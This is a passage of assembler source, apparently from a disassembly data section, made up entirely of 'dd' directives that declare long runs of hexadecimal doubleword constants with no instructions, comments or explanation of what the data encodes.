7D02910Fh, 2EAB26E7h, 0F5DA600Ch, 0DC00C692h, 52E50647h dd 0E0A04861h, 0CF5D393Bh, 97578F9h, 7642C820h, 0D1FA1468h dd 0B3DA7D04h, 0A8A91D09h, 0E2A41B01h, 0D85CFF32h, 820E85FBh dd 0AA5628DBh, 3417A4C6h, 7DDACC00h, 1356E2Ch, 0DB88E280h dd 2D60CDD3h, 9A3F00FCh, 626AA607h, 0BBFA0BC9h, 81074AAh dd 4B075C4Ch, 0F894C408h, 0C482ACD2h, 45A20990h, 0FD0FAF70h dd 6D9BD7C0h, 1C7B6F2Dh, 0FBE2E100h, 0E5C4E3ECh, 5C1097FAh dd 0CB104DEh, 0DABB3C00h, 70133Bh, 7981B57Fh, 294AC74h dd 9502AD78h, 9E63356Fh, 15F8A439h, 0FFA8D523h, 0FA022AB0h dd 2CE6B542h, 0BC93E088h, 0F4A55034h, 0C0A34A25h, 445D82ECh dd 5814E201h, 9E43B83Fh, 0F5078839h, 8FE50C2Ah, 88C92640h dd 4C00011Ah, 48CE28FAh, 583D8081h, 0EF2DC4B3h, 0CA013CCEh dd 0BFD7A5Ch, 447DD686h, 0BC835F00h, 9A92AD7Fh, 4649CD16h dd 20D18830h, 0F60D00AAh, 0B671F2C7h, 4E00462Dh, 0E58D2445h dd 9883B7DAh, 236A5B74h, 0A7B3E43Ch, 88517BCAh, 0EC3F1400h dd 3C5F754h, 4C61C485h, 0E6B06F07h, 2F76F1CEh, 55E006B5h dd 3E2A0008h, 46590409h, 0A60727E4h, 0ABE0369Fh, 0B48F3A40h dd 6C313F4Ah, 82AE3FB8h, 5BEE8110h, 0D7CFEA5Ah, 0E017900h dd 0CE1CEDBh, 977502E2h, 9FA07CE6h, 0CF0064F1h, 2BDACCD2h dd 498779E7h, 0F582F478h, 38567F1Ch, 679A7C05h, 0EE0E88ACh dd 0BE835912h, 3CBAAA10h, 8004E4E1h, 3B4D9E39h, 752FF079h dd 0B019D2E4h, 6C1F6D60h, 81F0B719h, 17A1A465h, 71928Eh dd 1A223F2Ch, 4F76E1E2h, 265468FBh, 4A1F58CFh, 0E8D02D0Bh dd 1D7376C4h, 82828FE5h, 38A5306Dh, 584BF840h, 24C01015h dd 0A9E80034h, 59BCBBFFh, 1AD74C2h, 0D3E28D75h, 405FFB08h dd 0E86723BCh, 61C0CD77h, 0CA9D86DDh, 522EEB2h, 0AB5613D5h dd 0C6B023D6h, 56E06F92h, 4D0567A0h, 0D039C001h, 0D916FC20h dd 5330009Bh, 78B78B8Dh, 0BC4AA02Ch, 0D5B9A420h, 0EAF60027h dd 1B8636A3h, 0A40213E1h, 163DC8Ch, 104D094h, 5EA19809h dd 32D12CBDh, 1B4C0380h, 0A8AB7EE3h, 27734E1Dh, 1066F6C5h dd 0BAE93A05h, 4F240CEh, 75C5D000h, 34834515h, 56294C05h dd 0C8E43263h, 41591F5Dh, 825A05E5h, 10C787CCh, 0E16FA06Ah dd 63DCAA2Eh, 2C2F502h, 80BC74B6h, 0D476FBB7h, 790012A7h dd 3BE98C03h, 26CCAB5h, 0DABDEA53h, 0EC566342h, 1D2A861h dd 1202B822h, 58766C43h, 8D37BBC0h, 4EB70500h, 0AB45CAD3h dd 0C75D386Ah, 4490A2ADh, 0E87D9C72h, 8704DB00h, 9EB00AA9h dd 722C98BEh, 626C1420h, 4281D8D3h, 6E265522h, 0B64A7FC0h dd 0B82802BCh, 370BF564h, 964040D6h, 0FEB38Ch, 0C5895CD0h dd 63604951h, 40F021E3h, 7A115064h, 3A6BE605h, 0D4D0F879h dd 2CB76D5Dh, 86A65h, 46765F78h, 8044DC3h, 246470EBh, 9BCBFEC0h dd 2A0A0081h, 0F543A1BDh, 8D0A838Eh, 0C13187B8h, 44C0CB12h dd 21DE7450h, 10252CC4h, 39B8DD0h, 6DB321E1h, 98003EE6h dd 79BE611Ch, 11B8F87h, 414F8CF7h, 304E355Dh, 3230222Ch dd 701A0876h, 0D4A09782h, 490D68Dh, 0BCF9C900h, 15CCC00Fh dd 0C5BD1CD5h, 0F4E4897Ch, 0F27AB8E4h, 838C063Ah, 7011AECAh dd 1A42C962h, 8080BC28h, 529DF0E5h, 78697301h, 0FE303E84h dd 0CD3DDC3Dh, 0C483B4C8h, 195E6112h, 64AD4030h, 3B600355h dd 0A8978E2Ah, 0C95F4DF1h, 0A52DF871h, 5E9FD30Eh, 9D83E0EFh dd 25A9AF7h, 568C3384h, 0CCD1E3ACh, 0E9FD9800h, 7BF85DECh dd 94950F4Bh, 0F924D367h, 4D48803Dh, 1B2E9A62h, 3947E01Ch dd 122564E0h, 5876CCh, 0ACE7AA8h, 42E0C123h, 165B4A00h dd 0BAF0C510h, 3DF50F4Dh, 0A212967Ah, 2D1B1214h, 0C32AA400h dd 4C2BC6E0h, 4E8A001Ch, 3EFA00A0h, 29C08D85h, 0E62E5C00h dd 7E50A491h, 600450BBh, 0ED150594h, 0E899488Ah, 78DE8078h dd 7EBB2Bh, 32CAC5AFh, 0E8507E6h, 87C32D05h, 3840813Ah dd 0D5DF7075h, 1D74033Dh, 0D03189A1h, 1CEDF580h, 81F94B02h dd 8B605A7Fh, 0F66405D8h, 549F4000h, 0B85C6D38h, 78E448D0h dd 4BB04126h, 80009464h, 0A6DF2F67h, 5CADA3h, 4FE61902h dd 78F80C37h, 2B385825h, 0AE58C80Ch, 0A5490484h, 8058AB73h dd 6614238Ah, 0BBEA2EEAh, 21039F00h, 7F051945h, 0C8ED50B7h dd 2928277Eh, 660028E4h, 0C278931Bh, 15F14C1h, 0AB2C25B0h dd 602F40ACh, 0F104F224h, 836FB3B1h, 9F8064F8h, 0D25EA793h dd 1C645905h, 3881D066h, 7DE9DF4Fh, 7C204061h, 0C8C55A4Dh dd 34008484h, 8568CABDh, 976DE6Ch, 8A6DB57Ah, 3F0A9000h dd 0F402FDC8h, 0E9EF6E5Eh, 38852CFh, 0AC70FADh, 0C2A0EE6Bh dd 65C919Dh, 0BA007C07h, 0C5909258h, 1643E89h, 304CC46Ch dd 0ED188A08h, 0C4206FF8h, 5FAA9C35h, 0C144C852h, 7C588400h dd 64E991FFh, 4E1C0B56h, 0EC094031h, 9E5C444h, 6252F401h dd 7DA8202Fh, 18028CFAh, 97A7C268h, 0E85AC0A9h, 0D9B801B5h dd 371330DBh, 0C8A8409Bh, 5F00F507h, 85BAC9B1h, 4759333h dd 529A1E98h, 298C8281h, 0BD40307Ch, 0BF9BB6h, 0CE86534Fh dd 0E88F324h, 290A5B00h, 2BF1576Eh, 437A0038h, 49D18455h dd 0B725B8A4h, 3E6051AAh, 8B179601h, 0CE4B5EF3h, 3A194920h dd 86A03831h, 18AC692h, 9E83D880h, 0C89444C7h, 9F1DBDCCh dd 6A022D17h dd 0FEC8CE9Ah, 92F04128h, 59584015h, 0BD07101Fh, 0C8B95720h dd 4B77BE00h, 52082FEAh, 0AB0B0E4h, 7E64F127h, 895F008Ch dd 48E002F7h, 39265390h, 0B640B4BAh, 332A76Ch, 6BE0A1EEh dd 25F80A51h, 0AA5C2A7Fh, 0CA187A9Ch, 0A7316482h, 0A5420066h dd 0C4342321h, 170074B7h, 0FD2B2C9Bh, 942FB6DAh, 42D44074h dd 9D0A94E7h, 6CB5CC63h, 0ED84C040h, 0DB1B1748h, 732C014Dh dd 60ECBAFEh, 570E3806h, 0A0FA9849h, 7B62CC3Ah, 52414B42h dd 0C4B224h, 34B9D6FBh, 3A6A43h, 0DB3D19E6h, 0CA524C91h dd 8558D100h, 6F57F951h, 3A3090F6h, 0E6768945h, 81710Fh dd 0E8F11AB0h, 5EDE618h, 2C692E3Ch, 3A01607Ch, 209FB301h dd 72459E2h, 20C8B24Eh, 0D3491C82h, 6488944Bh, 0BF190F6Ah dd 540CFC0h, 0F0C991D6h, 0A5EBD700h, 98819F89h, 4F8C9C07h dd 711E4780h, 4A001136h, 4DB384B7h, 19DCA132h, 2964E4C4h dd 487DD7h, 15B334ADh, 3C2E5371h, 0ED03480Eh, 0A4862BBCh dd 5CE8588h, 55BAA301h, 0EA7FDD81h, 14FCE20h, 0D1A940D4h dd 39707868h, 0C7304CD8h, 2E100662h, 369D1D7h, 353B68Eh dd 789E55A8h, 618BF002h, 62B3678Fh, 1C79BEh, 44A3AA14h dd 8E0EE5D2h, 933D52h, 95D6E024h, 0C1102C64h, 0AB9D0238h dd 6860DA6Fh, 0C7127E1Fh, 0D4B2C689h, 0D65F330Eh, 70C0C2A7h dd 8595AE7Bh, 9D55804h, 0D4B86F91h, 62B35580h, 607D1956h dd 0A9745390h, 0DEF46A00h, 0ADC92CACh, 1ED125CCh, 31537840h dd 1DBC3F53h, 49802598h, 0FD72F0D1h, 0C8910581h, 0CCAFDE4Fh dd 99002844h, 0FB101275h, 542CADh, 8F41BD15h, 7FD3A838h dd 0E89A527Ah, 0E2008478h, 0F0306597h, 5AB85E02h, 0BCB488F6h dd 0AA280600h, 0D45DE18Fh, 83602EB3h, 51E60019h, 9A1329F8h dd 0DC1D5800h, 92A76B90h, 0F28E12ECh, 98988803h, 50FE5900h dd 49F5B419h, 82971809h, 2EF4B179h, 6274EBE2h, 5E742B00h dd 0F1B40183h, 47350519h, 0BC7326B3h, 51158080h, 3C229FA1h dd 278142C9h, 0EE8877CCh, 0E43DC8CAh, 68AC9812h, 0A01CD002h dd 0E00D030h, 9E02EA50h, 0F543805Eh, 6FE1E92Eh, 89DE8128h dd 5C74D426h, 0BC901217h, 0C5B289Fh, 3F01A5D8h, 6D136F50h dd 0C8C87EFFh, 0D48301FDh, 0B8B23F27h, 7C34F8ACh, 2C306412h dd 0D8FC08D5h, 0C6148D80h, 87048931h, 2A979C12h, 4FDC20ABh dd 6A3EACF8h, 84900EC5h, 0FED00037h, 17AFA7Ch, 4044DC78h dd 2E6422E4h, 0DE0A9C20h, 6B1E033Dh, 3E0D03B6h, 5777CBE8h dd 0F3CD022h, 6336F6A8h, 3D941D82h, 0F512D440h, 3D845888h dd 5D8393F1h, 1B9E61A4h, 0F7FEABC0h, 8094B55Ch, 0D0174AC5h dd 7D933F25h, 65BA4300h, 6EBC91CFh, 99BE75Ch, 630CA25Eh dd 8758E8B4h, 343848BBh, 2D8FE90Eh, 0A1B3CE83h, 0DB4B0F91h dd 0FF638107h, 0CD775A4Eh, 16B63230h, 348F05FEh, 8468991Dh dd 74948094h, 0E43046B9h, 0F1834825h, 0AC414C71h, 3A6102D3h dd 8D405D06h, 0D8FF48B0h, 0DC0117AEh, 1F771C9Eh, 2B5652h dd 4A5921B0h, 0AA00A3E5h, 0BFE44C0Dh, 0B8D8CB92h, 5A89012Fh dd 78663BE2h, 84442F74h, 6A47111Ch, 7C4370F5h, 8D00AD44h dd 26CF7FEDh, 1BF1B21h, 0DB6BFF55h, 3494AC42h, 4D2E7838h dd 0A953DC37h, 0F608E22h, 180000Ch, 623A88F0h, 8900D142h dd 816D9EE8h, 0A3878D1Ch, 0F8B2DC84h, 0A3121303h, 81C04071h dd 72028619h, 6F9CC610h, 5D0CE0EAh, 0A07A1CCEh, 0B8254964h dd 0EF09FC64h, 88DA4FFEh, 0AE0186F4h, 825FE7AFh, 0A8009032h dd 80394B59h, 9B005D93h, 890B63Dh, 0EEBB0Ah, 94B87206h dd 2D528169h, 0D68E4012h, 644CF4h, 0D1C3658Bh, 0AD1217AAh dd 9AEF3A00h, 211BBEB7h, 0EE990043h, 0F883841Dh, 473F0B0Fh dd 0C86FAEE8h, 84B89B14h, 90E4A042h, 4021B74Bh, 0EC922003h dd 0C400B094h, 40AEAF0Ah, 878689h, 233B463Dh, 42C0E56Ah dd 40395D24h, 1928DE03h, 7460116Eh, 681C2DF4h, 465DB8h dd 163FF660h, 6CB3D682h, 4A0EC5Ch, 714381E4h, 541500C0h dd 5DC92F7Ch, 72C6F827h, 0D4610AFCh, 44EB10CEh, 85040125h dd 609D5E18h, 0FE8C6010h, 32C4AB8h, 2100D4C7h, 6A9F8FE8h dd 0B8573B9h, 2F025ABCh, 89C3A080h, 4334A7CCh, 2DC16941h dd 66FC4E9Bh, 3FA20CE1h, 2071F74Bh, 87979505h, 74F24149h dd 7B7D528h, 0CE64244Ah, 0C157F4EDh, 0E46528F8h, 7F02D571h dd 4458F2A7h, 900C441Bh, 88550341h, 366A731Ah, 839184B5h dd 5FD9FA31h, 30CAD040h, 52C78D0Eh, 70213742h, 8479CFD3h dd 9DDCB600h, 73AE4EB3h, 0F5DBE00h, 0ED548671h, 788405CCh dd 416B9D2Bh, 0D1FAB084h, 1CE13EE9h, 544C5E61h, 6E5000F6h dd 8492BA68h, 7007BC72h, 0EA3F4188h, 4F5730ACh, 3E5CC8CEh dd 20209B5Ah, 0B81C99C9h, 30D701F1h, 17A5CBBBh, 1C9C6C71h dd 0CF4026FDh, 0AAE86EC2h, 44AC964Fh, 0A67A40C5h, 1F2CCE17h dd 8736AC87h, 24E8C14Eh, 8903812Eh, 92A0FB5Eh, 0CE001261h dd 77B1B33Dh, 58B79B69h, 2818ACB4h, 24FE70B2h, 529A2A07h dd 97813E23h, 0DAF07243h, 49E9127Dh, 2698B8F1h, 230B501Bh dd 2051B8h, 0A80EB1D9h, 9E4F78FBh, 0D959C897h, 8770A5E4h dd 40E5022Ch, 488CDF17h, 20AE4BCFh, 267CDED8h, 0E300C370h dd 0FCF49EF5h, 0F01DDA3Bh, 0A5820572h, 0A2FB1230h, 0AAF20A84h dd 7658904Ch, 0ACA300E6h, 783B2CB2h, 0AB051D1Bh, 556989EAh dd 4166A0C2h, 0E02CE8ECh, 2E8998CBh, 0B8E02C74h, 90AC55DAh dd 165EFA54h, 303F64EEh, 6615A490h, 0A8BE58h, 0C03B2659h dd 2F6A86AEh, 1440821Bh, 13B028E0h, 0BFE56807h, 70559FA7h dd 0CA340481h, 49FE828h, 0F41C293Eh, 78009E94h, 0C88E5814h dd 0A0947D17h, 0A406FEh, 3D1A25A2h, 0BE6ECEE3h, 0D17CB89Dh dd 0A5C91FC1h, 4E65015Ch, 6F764D8Eh, 0E660A820h, 6C070097h dd 885A7190h, 0E4006F9Bh, 36F5BEF3h, 553679Dh, 0E87F81D8h dd 0F1CF2C9h, 23EB5FCEh, 0D83A0F4Fh, 18A2FA0h, 22675AACh dd 0E15D182Bh, 1C203E02h, 0A328C2h, 8D117427h, 55D26F1Eh dd 147C653Eh, 14D09Fh, 41FFD407h, 0FAD8EEh, 0F2A0483Ch dd 8C27AA52h, 7E249898h, 5909DCD9h, 3F80FE7Ah, 247DC12h dd 6AEC2D64h, 0D367005Eh, 603422C0h, 80ECB169h, 0DFB274BFh dd 3A00B64Ah, 9A4775E4h, 0B52699h, 582BAD8h, 0AB6D5A35h dd 61B400BDh, 69B62D7h, 339C2A77h, 0FE1318AAh, 0ECE34542h dd 0E0591612h, 0F2068FC4h, 60B7427Ah, 0EBF03821h, 48582C3Ch dd 0F628FBC6h, 1899DE00h, 0A20CFE67h, 5B0107AAh, 75D374Fh dd 0F564E009h, 0C09018F9h, 25583E00h, 0C375E9B0h, 0D309044Dh dd 0E4F92FEDh, 0BE000F98h, 0FACE9B6Ah, 0C435E8h, 0EA7B5A87h dd 21E43DECh, 0D6132CBEh, 719BCE4h, 7A6C2A4h, 0FCE9C00Bh dd 5539546Ah, 4EEF844Ch, 0A8E0E2ABh, 0CCD3881Fh, 0E14C802Dh dd 8321C04h, 25C3DD50h, 14C2E9B5h, 2758E740h, 0B880DC04h dd 0C0A2514Dh, 0F56EBF00h, 0ADC6B593h, 7C6CA10Bh, 4BDC0168h dd 85EC4A64h, 1790477h, 0B8A456C1h, 58A296B8h, 7D9D400Ch dd 0B8036CD0h, 4CA6D17Fh, 9C1BC0A9h, 6E030176h, 0F69AD586h dd 3C1820D9h, 0B8BD7E30h, 59685B6h, 3D92B8C9h, 17CC829Ah dd 5278D890h, 0BAC41195h, 0CFF60C40h, 82E1279Dh, 0D20048C4h dd 5E6FE656h, 91D67E46h, 0D7D40068h, 0BCB15913h, 0D8EBFA00h dd 0D6CA3689h, 83174087h dd 5DD5C101h, 0C2C94A82h, 0B50C316Eh, 0E8002BB8h, 0CE3F652Bh dd 2DB67892h, 0DCE42A52h, 37A94000h, 0C307E933h, 2436E28Bh dd 24480E24h, 0F0591A67h, 60CEE960h, 9E10A09Dh, 7EDB2E19h dd 4DB72C62h, 0A58D1D08h, 0AF023064h, 0CE1CB8FFh, 95DC8115h dd 0DBCC2E80h, 0C6010573h, 0F2D83786h, 80F23914h, 59BEEED5h dd 0BBA5A4h, 0FC936690h, 0DA912CA8h, 0C3C6B062h, 405476C4h dd 43129297h, 30F39105h, 58F25A64h, 0EFA5CE09h, 44044F78h dd 1985C3E8h, 4BF61580h, 92362709h, 9F9CC4h, 33EE37F0h dd 64D50D26h, 3EA45C83h, 0D7984020h, 56C90066h, 9545AD42h dd 0D4A0B67Fh, 0FC48A875h, 53240B24h, 0B9C85973h, 0A9623582h dd 0E41536h, 1C46411Ch, 5CF4BB80h, 0FA828A45h, 0E7D307B5h dd 0C0A08C58h, 0DEEB84C4h, 5556AE13h, 8FEC6CC9h, 90C0023h dd 0C7255B28h, 0C9581342h, 289F26B0h, 0D03FAC8h, 8854F6E3h dd 17E593ACh, 3F2D604h, 7823267Ch, 0D0DE738Ah, 0AAE9B782h dd 254C449Bh, 285130BDh, 7AD49830h, 0B85D057Bh, 0A019529Dh dd 0DE2806E4h, 43007804h, 3E563C8Bh, 4ACBA02Fh, 0E050A094h dd 0FD3FD900h, 6D86DF3Bh, 4B8A1D85h, 0E6EBC00Bh, 0BF40ED23h dd 0EFD65Ch, 0E14CD970h, 905022h, 0A0730360h, 0EED2AA3Ch dd 42E48700h, 6163E979h, 50D96C64h, 5E717566h, 0FD8911C0h dd 26606F0Ah, 1EF3020h, 0BCD29F66h, 3F819EA4h, 2A066AC0h dd 30E994C2h, 0D9183E98h, 26005AD1h, 75A85D6Bh, 1887069Fh dd 215C989Eh, 0C12BB64h, 91005794h, 0B03AD392h, 1CF10013h dd 0F6524BC4h, 0CD037AC1h, 53BF0B02h, 35B09090h, 78BD1C18h dd 8648F01Dh, 0D324E649h, 8B00E5A1h, 3F682193h, 0E18D06E8h dd 29BA1D66h, 7147B90h, 3908B53h, 24390E4Bh, 57910687h dd 0D9DC40AEh, 0AA035BFCh, 0E06F9A13h, 7B9C916h, 3B63C670h dd 1D0C692Ah, 0ED5833B5h, 0C8EFDB00h, 0E446A398h, 78AC0005h dd 0D78D180Dh, 59058275h, 38FDE6A8h, 714F86h, 300A4CF9h dd 0E8D4296h, 3292050Eh, 0B1E62CBEh, 3B3F05EDh, 21424C96h dd 81B098C8h, 5233E841h, 3C30E0BDh, 57C40030h, 0FD5CAC82h dd 16145DC2h, 82D43AE2h, 4042AB2Ch, 613B97BCh, 3E365137h dd 0B363138Bh, 2D190E43h, 390F4559h, 6E21B05Fh, 407E0488h dd 26AAB914h, 93EA10B0h, 0D4E083C0h, 0C104F88Ch, 0FBB70F61h dd 767B3AC0h, 5EC8C8B5h, 1E60C380h, 0F8A14E0Fh, 2F930C2Ah dd 8C49E420h, 7B22C201h, 9ADC8065h, 0EEA9F0h, 1F48411Ah dd 0C5E1D2D0h, 0BDBED9C3h, 693901D4h, 5E97F635h, 0CD69805Dh dd 90C38CCEh, 0D2BF588Dh, 7305A600h, 0DCFF9609h, 68F43Eh dd 2A7AE86Fh, 702A871h, 8D1A54EBh, 0A7BCF381h, 2DD52EC0h dd 69B92030h, 0D7B59Ch, 4A90D30Ah, 32ADC02h, 0C1FDE51Eh dd 240D9301h, 69312F40h, 0F4C8D0h, 7C466222h, 0D2E5356Dh dd 0C1C6E334h, 1AA58400h, 6F484DBh, 6C8E49C3h, 2700C15Ah dd 0B2C9D0C6h, 3A4D1866h, 9452A221h, 0CD480172h, 62523ADDh dd 190FCFBh, 0E513D05h, 14001D72h, 82EDAFC3h, 0AEAD00F0h dd 22A174F7h, 592448CDh, 15003C63h, 87991364h, 0A83D5498h dd 65C00DEh, 0EB566C41h, 35F6C93Bh, 0B4699C0h, 0BB9897h dd 3DFDF828h, 0AB236531h, 2F2A4703h, 0F888848Eh, 0E9E7BF0Dh dd 6C54898Eh, 75ABB961h, 0EE844039h, 840E05A9h, 502034h dd 0B81F6123h, 0D4F8AAh, 0CD302BF4h, 6BE683Eh, 2D30F4ACh dd 53631142h, 0C94CA05Eh, 3CC7B013h, 316CC1BEh, 9A07A768h dd 0F02F49DCh, 6080A544h, 0AC42372h, 0B2DDD2E6h, 8070B7C8h dd 6CE54B46h, 0B8596360h, 2E844352h, 5C4A42h, 5E054F46h dd 0AE016378h, 1F592AECh, 0EC488BE1h, 2B421D30h, 0D1A092Dh dd 4DD8D898h, 4EB39207h, 0BDC6F445h, 35980019h, 0A8819720h dd 7B1D6E41h, 6F81173Eh, 9F4A6C2Bh, 0EA7A6BE8h, 4C4C9072h dd 2D00448Eh, 43180668h, 395295E1h, 2FEF0084h, 99190D3Dh dd 1AF68861h, 803CE7E4h, 0BF5780D2h, 0F13474E9h, 40150F0Dh dd 620086E8h, 0BEB6D2CEh, 909199C9h, 1891EE8h, 0EA1153D8h dd 91F2E758h, 0DF1EA4C0h, 66D64AEh, 89335395h, 21CA4030h dd 1F018A4h, 397BC626h, 0ED1C072Ah, 60DAE9h, 0E50194FCh dd 53BE72C8h, 5F1ECA6h, 14AF9E8h, 4012066Eh, 830BA4C2h dd 63BE8F08h, 0B33BD1B9h, 368561BAh, 0C10C6A16h, 6047AE80h dd 7204C280h, 990DACFEh, 0FC2374C8h, 0BEE70BBBh, 140186DEh dd 426C9E74h, 0B1205EF8h, 28EE6598h, 0CF4453Bh, 0B71D40FDh dd 0D20039D9h, 0F8AEC988h, 0F2B2D446h, 3C3D79EBh, 0FBA4C60Dh dd 135E1243h, 5F94602Ch, 53001AC5h, 0EE500DDEh, 6399072Bh dd 3A9899B7h, 0A587B2C8h, 0E6CF8D00h, 0A8EEB41h, 16460051h dd 0BE5ADB9Bh, 6C92D8B8h, 603D4304h, 54C0DA73h, 915D7405h dd 0E96E80E0h, 0BACA68D6h, 5C16B112h, 0E4A06C00h, 9FC7A2Fh dd 0A87784BEh, 27DA7805h, 0E1C2B3D4h, 0ADDB612Ch, 0F808E716h dd 0E3BE85DAh, 6C8449B1h, 0BAC70890h, 2A7BAC07h, 6520C419h dd 3EF32436h, 0DB00A666h, 23F94E4Ch, 0C2013F2Bh, 775A2292h dd 57D014DCh, 0BEE80C61h, 8559E2BFh, 8D144h, 0E7551B04h dd 6BE97428h, 0B03DAE00h, 4940DCC6h, 32D30625h, 0A1E0BBD2h dd 5E0034Ch, 6CA69D02h, 0E1BE2400h, 1FAD831Ah, 0C0594310h dd 8F8D5BCEh, 97E8555Fh, 2D745000h, 0F121D177h, 17ECF0BCh dd 0F65FC54h, 93A7F5FDh, 4484A9F0h, 98035FBBh, 0F870046Eh dd 1403FF4Ah, 0D3B8D435h, 99066309h, 300B6805h, 0DF9E48A8h dd 67C1F501h, 0DC3A3F9Bh, 0F6805C45h, 73CAB8E0h, 420F0041h dd 5364E70Bh, 58FA8F6Ah, 806C6C58h, 0B09CEAF1h, 51E1EC2h dd 30AC170Dh, 7EE04D48h, 0C26D4600h, 1E58D5CBh, 0FF1300A1h dd 878D570Ch, 94A03FB4h, 0DB009265h, 6C60C20Dh, 999899C7h dd 0C5AD0118h, 2F077205h, 0A54166C0h, 7BF11766h, 96CC00F4h dd 8C5B384Fh, 54E431C0h, 0F4449290h, 0CDA9C039h, 0CCBB342h dd 0A0E8348h, 640A983Ch, 768E6180h, 0AC7EEE9h, 38392120h dd 0D0530028h, 0DBB52AA2h, 18A0C20Fh, 4830F7B4h, 4C0AD5F7h dd 30A203Ah, 40802041h, 4A2F6E17h, 467D4400h, 6C16EBAEh dd 8DD11E54h, 986102C4h, 28C4E0BEh, 4830BC2Ch, 8FE7D509h dd 4CCB6008h, 5F88C8h, 54614160h, 386C3EABh, 0E62DB9C0h dd 123BB0h, 6A2AF7DBh, 9C1A34ACh, 507CCE00h, 247A8449h dd 727890CDh, 31AA38A7h, 9B4D209Ch, 98E879D3h, 450FD73Eh dd 0E358BC80h, 9B92738Ch, 0D2FD8B4h, 22F62C39h, 0E5A90138h dd 63B0BCDBh, 841100ECh, 7EF5EBC7h, 70F40061h, 0B6C64EA1h dd 6F18E796h, 0EB1365Eh, 502E00ECh, 2B18E623h, 0FA0246E1h dd 0D65B1482h, 6AD8906Ch, 65CB003Ah, 0EEC5B697h, 0DE05CC8Eh dd 1DA22423h, 22D5C00h, 0B110E66h, 0FBE59FB9h, 0AE04DB00h dd 2105F5F0h, 0CF78EEE4h, 20E91082h, 0BFE11610h, 0A8120418h dd 4DAAE06h, 8006421Ch, 9790C344h, 40C0D0C5h, 4C9836ACh dd 0FB0AB142h, 283AA4h, 0F0E0F730h, 7A006682h, 0AD892CC9h dd 0B82AF6h, 9F6EE16Ch, 2F1595FBh, 412CCE71h, 0BE11C45Ah dd 4D918C0Eh, 94DE5520h, 7C00291Fh, 8789BB78h, 0EE4B147Dh dd 7B48B821h, 0AA3D0056h, 59EA0B85h, 0C1017F48h, 0F4BE1F60h dd 48245A91h, 5E3A00F1h, 0C27B4390h, 3B0099B5h, 0CEC5B12Dh dd 167CBCA4h, 304A0AD6h dd 58D42924h, 9D609A00h, 1A96A8F0h, 756400A2h, 18374D44h dd 0DB094053h, 105B390Eh, 263EE47Ch, 40F49130h, 26C40712h dd 0AFF10F01h, 0C209011Bh, 0C0E9C60h, 0C6BDBEE9h, 60548571h dd 0D82C18F4h, 450782A3h, 8C2A8B40h, 3B4ED040h, 5590A0h dd 4709A661h, 3F0DA7C3h, 1AE84500h, 8EF3ED9Bh, 405494ECh dd 791C5014h, 0A3EB5700h, 0F92A0FFBh, 84C301F0h, 2B403FE3h dd 8B85D196h, 83037731h, 0B0602AECh, 1599EEBh, 9724549Ch dd 0D8A875F4h, 0B90C690Bh, 39BE1E81h, 1317BACh, 626FF04Ah dd 403F7502h, 0DFE1575Ch, 40291300h, 1B320410h, 2820453h dd 0E2EC3A7Ch, 0BA35004Ch, 56EB7E4Ah, 1D882638h, 3A8A40E8h dd 0EF047664h, 3F5C239Dh, 10EC88D9h, 2D0C002Bh, 1F50CFA3h dd 0B92618C3h, 730150D8h, 0EB3A46F3h, 72FF918Eh, 0B43D8860h dd 78002CFCh, 0D43CD3F6h, 79925695h, 356F0A31h, 124C8732h dd 0FE2C00DBh, 303F944Ah, 68AB6900h, 0F9DA6FB1h, 91ED03F7h dd 0EBDBF399h, 295B42E1h, 0C4D80050h, 7AF5E6BBh, 45140649h dd 0D9D2200Ch, 0A7CBB800h, 5F09F475h, 3E67A47h, 3927931Ah dd 810F8A59h, 89F23ED4h, 0FD501020h, 0B806008Bh, 0C98E4850h dd 76005C74h, 37B4AC88h, 3C445h, 0BE698F4Fh, 5F6C934Ah dd 0DEC891C0h, 0CE0D9Fh, 66588CF1h, 442EB07h, 7CE47507h dd 4F9ED3h, 5B705CA4h, 0ED39C332h, 2A904B07h, 5F008AD0h dd 1874B18Fh, 6FB5C6Ah, 1D3182CAh, 4200A1B6h, 0FC22F4DFh dd 2A7BF06h, 0EF9BC814h, 1A403972h, 10913A32h, 482E600h dd 0D8E9C6h, 4CAE0524h, 0B7A2E022h, 0F0A5804h, 8600BD20h dd 72D0C193h, 82942D38h, 0BF1FC435h, 0CC710Ah, 336E7AF2h dd 0E8076839h, 702990ECh, 5D5949E0h, 0D13B606Ch, 0E1558BB3h dd 2903ECE2h, 3AFF7F1Bh, 4B6090E0h, 21A300DFh, 911E2EB6h dd 38133C28h, 0A00171F6h, 244296BAh, 0DCD09930h, 0F8E979h dd 8AC160B9h, 0C8243970h, 7804F80Fh, 34B4BCE4h, 2FE507A1h dd 51EB9F77h, 73C0A7DAh, 94C800D8h, 2C2876BBh, 6AE004Bh dd 192DA0A1h, 0ED1326DAh, 0C400018Fh, 43C93168h, 2C160F3Fh dd 1C25C1CDh, 78F802D4h, 0E720325Eh, 0EC56F1A6h, 0B7BF1CC4h dd 0EC21C09Fh, 8CE9642h, 0E500AD90h, 0E48831EDh, 0B0D4A92Fh dd 0C5EB0A68h, 4C5E6Dh, 5162EFE1h, 0DF0FAF3Eh, 40D8D69Bh dd 40F7BB31h, 0BDF60103h, 98CB8F27h, 0FE5C2463h, 8791000h dd 0DE5D1880h, 3FD001F9h, 0CC4565D2h, 0B02998h, 0DC3B8953h dd 642550h, 225DDF61h, 74232F46h, 0CF9A9001h, 0E6C1BE5Ch dd 0B9B8C014h, 3340A818h, 7EFF7957h, 0D1DF00EDh, 0D466AE0Fh dd 0D201632Ah, 70DB60FAh, 0D44CE6C4h, 19C50FA4h, 78E2ABCBh dd 0E051ECC6h, 0A6001CA4h, 92226681h, 80A9DE95h, 0D6DC9CC9h dd 0AF2296Bh, 0ADC76600h, 0D2FBBB45h, 0B45B4869h, 83299480h dd 59738D5h, 60C1F5C7h, 0CFF00277h, 483C4C22h, 0BFCA5C87h dd 81EA9DC1h, 754AE85Eh, 23DAFB00h, 45C0286Ch, 0DBC230E4h dd 0D673331h, 0BF50BD09h, 774C057Bh, 0E67E44C0h, 4E8B0095h dd 9DC3F491h, 2C01061Ch, 39231E33h, 0C9808932h, 803743E4h dd 14916C9Ah, 0FE8EA03h, 0AFDFE881h, 0B65E020Eh, 0A08DFB93h dd 0D6CC7441h, 40231CE0h, 4D5B531Dh, 98EA201Eh, 64747807h dd 7762B7C8h, 1E0CC41Dh, 80D38BE7h, 5712E3B9h, 6E093830h dd 64B6E497h, 254CF6C0h, 1080A907h, 0F2231876h, 3E050378h dd 65964092h, 0FD0884B3h, 2AB0355Bh, 67A338h, 71D13E90h dd 4C80BEDCh, 0D375804h, 40A20874h, 48166B00h, 3ECCAF53h 